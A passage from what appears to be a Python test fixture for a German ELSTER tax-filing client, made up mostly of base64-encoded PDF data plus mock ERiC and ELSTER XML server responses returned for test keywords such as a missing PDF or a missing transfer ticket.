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MDAwMDAxMzAgMDAwMDAgbg0KMDAwMDAwMDE5NCAwMDAwMCBuDQowMDAwMDAwMzkxIDAwMDAwIG4NCjAwMDAwMDI3NDQgMDAwMDAgbg0KMDAwMDAwMjc2NCAwMDAwMCBuDQowMDAwMDAyOTE3IDAwMDAwIG4NCjAwMDAwMDM1MDggMDAwMDAgbg0KMDAwMDAwMzUyNyAwMDAwMCBuDQowMDAwMDA2NDczIDAwMDAwIG4NCjAwMDAwMDc4MDkgMDAwMDAgbg0KMDAwMDAwNzgzMCAwMDAwMCBuDQowMDAwMDA3OTgzIDAwMDAwIG4NCjAwMDAwMDg1NzYgMDAwMDAgbg0KMDAwMDAwODU5NiAwMDAwMCBuDQowMDAwMDExNTQwIDAwMDAwIG4NCjAwMDAwMTI4NzYgMDAwMDAgbg0KMDAwMDAxMjg5NyAwMDAwMCBuDQowMDAwMDEzMDk2IDAwMDAwIG4NCjAwMDAwMTU0MDggMDAwMDAgbg0KMDAwMDAxNTQyOSAwMDAwMCBuDQowMDAwMDI3Njk1IDAwMDAwIG4NCjAwMDAwMjc3MTcgMDAwMDAgbg0KMDAwMDAyNzkyNiAwMDAwMCBuDQowMDAwMDQxNDY5IDAwMDAwIG4NCjAwMDAwNDE0OTEgMDAwMDAgbg0KdHJhaWxlcgo8PAovUm9vdCAxIDAgUgovSW5mbyAzIDAgUgovU2l6ZSAyOAo+PgpzdGFydHhyZWYKNDE2OTQKJSVFT0YK",
}
if keyword == 'est_missing_pdf':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
"eric_response": "<?xml version=\"1.0\" ?>\n<EricBearbeiteVorgang xmlns=\"http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang\">\n \n\t\n <Erfolg>\n \n\t\t\n <Telenummer>EDJ</Telenummer>\n \n\t\n </Erfolg>\n \n\n</EricBearbeiteVorgang>\n",
"server_response": "<?xml version=\"1.0\" ?>\n<Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\">\n <TransferHeader version=\"11\">\n <Verfahren>ElsterErklaerung</Verfahren>\n <DatenArt>ESt</DatenArt>\n <Vorgang>send-Auth</Vorgang>\n <TransferTicket>et036422myggf53jxax8uy92dmvkete8</TransferTicket>\n <Testmerker>700000004</Testmerker>\n <Empfaenger id=\"L\">\n <Ziel>BY</Ziel>\n </Empfaenger>\n <HerstellerID>74931</HerstellerID>\n <DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj/+g5OKVYn7aCA\nBCguKhpqGRSbN6vtZxZIeR+1MtyAS4q+BcPXb/MpGykjQeOarebvRyynAAAAAAAAAAAAAA==\n</DatenLieferant>\n <EingangsDatum>20210205093700</EingangsDatum>\n <Datei>\n <Verschluesselung>CMSEncryptedData</Verschluesselung>\n <Kompression>GZIP</Kompression>\n <TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAghtUn/FSBKxaCA\nBBg+pdzZNZgnU9zegwn8OVJcvV2ye7gr6ZAAAAAAAAAAAAAA\n</TransportSchluessel>\n </Datei>\n <RC>\n <Rueckgabe>\n <Code>0</Code>\n <Text>Daten wurden erfolgreich angenommen.</Text>\n </Rueckgabe>\n <Stack>\n <Code/>\n <Text/>\n </Stack>\n </RC>\n <VersionClient>1</VersionClient>\n </TransferHeader>\n <DatenTeil/>\n</Elster>\n"
}
if keyword == 'est_missing_transfer_ticket':
return {
"pdf": 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gXSAyODYgWyA2NTEgNTY5IDY1MSA1NjkgNjUxIDU2OSBdIDI5NCBbIDY4OCA1OTEgMzUwIDI3NCAzNTAgMjc0IDM1MCAyNzQgMzUwIDI3NCAzNTAgMjc0IF0gMzA4IFsgMjk3IDI3NCA1OTcgNTU4IDU1OCA1MDggMjc0IDUwOCAyNzQgNTA4IDI3NCA1MDggMzI1IDUwOCAyNzQgNzMxIDU5MSA3MzEgNTkxIDczMSA1OTEgNjkzIDczMSA1OTEgNzE2IDU1NyA3MTYgNTU3IDcxNiA1NTcgODc1IDg4MCA1OTQgNDA4IDU5NCA0MDggNTk0IDQwOCA0OTUgNDQ3IF0gMzUwIFsgNDk1IDQ0NyA0OTUgNDQ3IDUyMSAzOTAgNTIxIDM5MCA1MjEgMzkwIDY4MCA1OTEgNjgwIDU5MSBdIDM2NiBbIDY4MCA1OTEgNjgwIDU5MSA2ODAgNTkxIDg3MCA3NzAgNTYxIDUxMiA1NjEgNTIxIDQzOSA1MjEgNDM5IDUyMSA0MzkgXSAzOTkgWyA3MzUgXSA0MTYgWyA3NDIgNjExIF0gNDMxIFsgNzk2IDY4NCBdIDQzOSBbIDUzMSBdIDQ2MSBbIDYyMSA1NDMgMzUwIDI3NCA3MTYgNTU3IDY4MCA1OTEgXSA0NzggWyA2MjEgNTQzIF0gNDg0IFsgNjUxIDU2OSA2NTEgNTY5IDU5NyA1NTggNzE2IDU1NyA3MTYgNTU3IDUzMSA1MjIgMjc0IF0gNTAwIFsgNjUxIDU2OSBdIDUwNiBbIDYyMSA1NDMgODU2IDgyNSA3MTYgNTU3IF0gNTM2IFsgNDk1IDQ0NyA1MjEgMzkwIF0gNTQyIFsgNjg4IDU5MSBdIDU1NCBbIDcxNiA1NTcgXSA1NTggWyA3MTYgNTU3IDcxNiA1NTcgNTYxIDUxMiBdIDU2NyBbIDI3NCBdIDYwMSBbIDUzMSBdIDY1OCBbIDUyMiBdIDcxMCBbIDQ1MyA0NTMgXSA3MTMgWyAzNjkgXSA3MjggWyA0MTcgMjE3IDI5MiAyNTAgNDM2IDQ2NCBdIDc3MCBbIDAgXSA3ODAgWyAwIF0gODAzIFsgMCBdIDEyNDAgWyA3MzUgXSAxMjQ4IFsgNTMxIDUyMiBdIDc2ODIgWyA2MDQgNTY5IF0gNzY5MCBbIDY2NiA1NjkgXSA3Njk2IFsgNjY2IDU2OSBdIDc3MTAgWyA0OTQgMzQ4IDY1MSA1NjkgXSA3NzE2IFsgNjg4IDU5MSA2ODggNTkxIF0gNzcyOCBbIDU5NyA1NTggXSA3NzQ0IFsgODQ4IDg4MyBdIDc3NDggWyA3MzEgNTkxIF0gNzc2NiBbIDU2NSA1NjkgXSA3Nzc2IFsgNDk1IDQ0NyA0OTUgNDQ3IF0gNzc4NiBbIDUyMSAzOTAgXSA3ODA4IFsgODcwIDc3MCA4NzAgNzcwIDg3MCA3NzAgXSA3ODIwIFsgNjAwIDUyMCA1NjEgNTEyIDUyMSA0MzkgNTIxIDQzOSBdIDc4MzggWyA2ODYgXSA3ODQwIFsgNjIxIDU0MyA2MjEgNTQzIDYyMSA1NDMgNjIxIDU0MyBdIDc4NTAgWyA2MjEgNTQzIDYyMSBdIDc4NTQgWyA2MjEgNTQzIDYyMSA1NDMgNjIxIDU0MyA2MjEgNTQzIDYyMSA1NDMgNTA0IDUzMSA1MDQgNTMxIDUwNCA1MzEgNTA0IDUzMSA1MDQgNTMxIF0gNzg3NiBbIDUwNCA1MzEgNTA0IDUzMSAzNTAgMjc0IDM1MCAyNzQgNzE2IDU1NyA3MTYgNTU3IDcxNiA1NTcgNzE2IDU1NyBdIDc4OTQgWyA3MTYgNTU3IDcxNiA1NTcgNzQyIDYxMSA3NDIgNjExIF0gNzkwOCBbIDY4MCA1OTEgNjgwIDU5MSA3OTYgNjg0IDc5NiA2ODQgNzk2IDY4NCA3OTYgNjg0IDc5NiA2ODQgNTYxIDUxMiA1NjEgNTEyIDU2MSA1MTIgNTYxIDUxMiBdIDgxOTIgWyA0NzQgOTQ4IDQ3NCA5NDggMzE2IDIzNyAxNTggMTU4IDExOCAxODkgNTIgXSA4MjA4IFsgMjg5IDI4OSAyODkgNDUwIDkwMCBdIDgyMTYgWyAxOTUgMTk1IDI1NiBdIDgyMjAgWyA0MDAgNDAwIDQ2MSBdIDgyMjYgWyAzMzggXSA4MjMwIFsgNzY5IF0gODIzOSBbIDE4OSBdIDgyNDkgWyAzMzEgMzMxIF0gODI4NyBbIDIzNyBdIDgzNjQgWyA1MTQgXSA4NDgyIFsgNjk1IF0gOTcyNCBbIDQ5MCBdIDY0MjU3IFsgNjIyIDYyMiA5NzEgOTcxIF0gXQovQ0lEVG9HSURNYXAgMTEgMCBSCi9DSURTeXN0ZW1JbmZvIDw8Ci9SZWdpc3RyeSAoQWRvYmUpCi9PcmRlcmluZyAoSWRlbnRpdHktSCkKL1N1cHBsZW1lbnQgMAo+PgovQmFzZUZvbnQgL0hQREZBQitOb3RvU2Fucy1Cb2xkLEJvbGQKL0ZvbnREZXNjcmlwdG9yIDI0IDAgUgo+PgplbmRvYmoKMTEgMCBvYmoKPDwKL0xlbmd0aCAxMiAwIFIKL0ZpbHRlciBbIC9GbGF0ZURlY29kZSBdCj4+CnN0cmVhbQ0KeJzt0we0znUcx/HP52/vvUJURpIIZYZIJKskFbLKLCIrkpVVdlHZo0IUkq3MQip7tIys7BWllG7PuefWdS+X0809p/N+nfP8f+P7/X1/3//znEfxFFX80DNBNJGoEiqREiuJkiqZkiuFUiqVUiuN0iqd0iuDMiqTMiuLblBWZVN23agcyqmbdLNuUS7lVh7l1a3K